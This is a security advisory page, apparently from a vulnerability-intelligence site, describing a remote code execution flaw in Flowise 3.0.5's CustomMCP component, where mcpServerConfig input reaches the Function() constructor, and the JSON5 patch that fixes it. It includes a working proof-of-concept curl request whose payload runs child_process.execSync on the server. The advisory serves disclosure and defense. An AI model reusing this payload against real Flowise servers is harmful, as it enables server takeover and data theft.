-
CVSS Score
-Basic Information
CVE ID
-
GHSA ID
-
EPSS Score
-
CWE
-
Published
-
Updated
-
KEV Status
-
Technology
-
Technical Details
Vulnerability Intelligence
Miggo AI
Miggo AIMiggo AI| Package Name | Ecosystem | Vulnerable Versions | First Patched Version |
|---|---|---|---|
| flowise | npm | = 3.0.5 | 3.0.6 |
Miggo AIRoot Cause AnalysisThe vulnerability exists in the CustomMCP component of Flowise, where user-provided configuration for an MCP server is parsed insecurely. The root cause is the convertToValidJSONString function in packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts. This function used the Function() constructor to parse the mcpServerConfig string, which is a known security risk as it executes the string as JavaScript code. An attacker can provide a malicious JavaScript payload in the mcpServerConfig parameter, which will then be executed by the Node.js runtime with the server's privileges. This allows for a full remote code execution (RCE) vulnerability.
The patch, identified in commit 4af067a444a579f260d99e8c8eb0ae3d5d9b811a, replaces the insecure Function('return ' + inputString)() call with JSON5.parse(inputString). This change ensures that the input is treated as data (JSON) and not as executable code, effectively mitigating the RCE vulnerability.
The analysis identified two key functions:
convertToValidJSONString: This is the function with the core vulnerability, where the code injection occurs.CustomMCP.loadMethods: This is the function that receives the tainted input from the user and passes it to the vulnerable function, making it a critical part of the exploit chain and a key indicator in a runtime profile.
JavaScriptJavaScriptindex.tsTaint 03: Service
index.ts (Line 91–94)
Taint 04: CustomMCP Node Entry Point
CustomMCP.ts (Line 132)
Taint 05: Variable Substitution
CustomMCP.ts (Line 220)
Taint 06: Dangerous Constructor Execution
CustomMCP.ts (Line 262–270)
curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q" \
-d '{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"echo !!RCE-OK!! >/tmp/RCE.txt\");return 1;})()})"
}
}'
When executed, this creates a file /tmp/RCE.txt on the server, confirming command execution.
This vulnerability allows attackers to execute arbitrary JavaScript code on the Flowise server, leading to:
As only an API token is required, this poses an extreme security risk to business continuity and customer data.
Ongoing coverage of React2Shell